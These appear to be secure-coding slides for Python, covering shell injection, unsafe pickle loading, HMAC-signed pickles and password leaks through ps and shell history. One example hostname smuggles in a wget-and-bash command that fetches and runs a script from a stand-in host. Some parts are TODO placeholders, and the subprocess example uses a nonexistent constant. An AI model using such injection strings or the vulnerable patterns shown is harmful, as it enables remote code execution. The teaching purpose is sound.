Getting the simple stuff right
# ping hostname once, with timeout of two
os.system("ping -c 1 -W 2 " + hostname)Remote code execution, because it starts up the shell.
hostname = "; wget http://payloads.haha/dont-use-os-system; bash dont-use-os-system"import subprocess
process = subprocess.Popen([
"program", "-c", "1", "-W", "2", hostname
], stdout=subprocess.NONE, stderr=subprocess.NONE)
process.wait() # returns the process exit code
print(process.returncode)Don't use shell=True (same problems as previous slide)
subprocess cheat sheet: TODO
import pickle
with open("myfile.pickle", "rb") as fp:
obj = pickle.load(fp) # this is UNSAFE!
print(obj)Arbitrary code execution!
TODO: sample payload
import json
with open("myfile.json", "rb") as fp:
obj = json.load(fp)
print(obj)This is safe, doesn't lock you with Python (unlike pickle), and is probably all you need.
import os, pickle, hmac, hashlib
SECRET = os.environ["SECRET_KEY"].encode("utf-8")
def compute_signature(secret, payload):
return hmac.new(secret, payload, hashlib.sha256) \
.hexdigest().encode("utf-8")
def write(obj):
with open("myfile.pickle", "wb") as fp:
pickle_bytes = pickle.dumps(obj)
fp.write(compute_signature(SECRET, pickle_bytes))
fp.write(b"\n")
fp.write(pickle_bytes)
def read():
with open("myfile.pickle", "rb") as fp:
signature = fp.readline()[:-1] # remove new line
pickle_bytes = fp.read() # read remaining of the file
actual_signature = compute_signature(SECRET, pickle_bytes)
# don't use ==. It bails out as soon it find a character
# that doesn't match, and thus the time it takes to complete
# depends on how close you are to the correct signature.
if not hmac.compare_digest(actual_signature, signature):
raise ValueError(
"the signatures don't match! "
"Someone is trying to hack this"
)
return pickle.loads(pickle_bytes)
Then sign your file, to make sure no one introduced some nasty things...
$ env SECRET_KEY=correcthorsebatterystaple python -i signed-pickle.py
>>> write(write)
>>> read()
<function write at 0x7fdcdaccf3a0>
>>> read()(read)
>>> read()()
<function read at 0x7fdcdaccf430>
>>> read()()()()()()()()()()()()()()
<function read at 0x7fdcdaccf430>
>>>
$ env SECRET_KEY=whatyalookingat python -i signed-pickle.py
>>> write({'function': max})
>>> read()
{'function': <built-in function max>}
>>> with open('myfile.pickle', 'ab') as fp:
... fp.write(b'edit')
...
4
>>> read()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "signed-pickle.py", line 26, in read
raise ValueError(
ValueError: the signatures don't match! Someone is trying to hack this
>>>
$ ps -ef | grep server
math2001 40636 35670 0 11:05 pts/9 00:00:00 python server.py --password=this-is-baaaaddd
math2001 40694 40637 0 11:05 pts/6 00:00:00 grep -i --color=auto server.py
$ grep server.py ~/.bash_history
python server.py --password=this-is-baaaaddd
chmod 600 passwordfile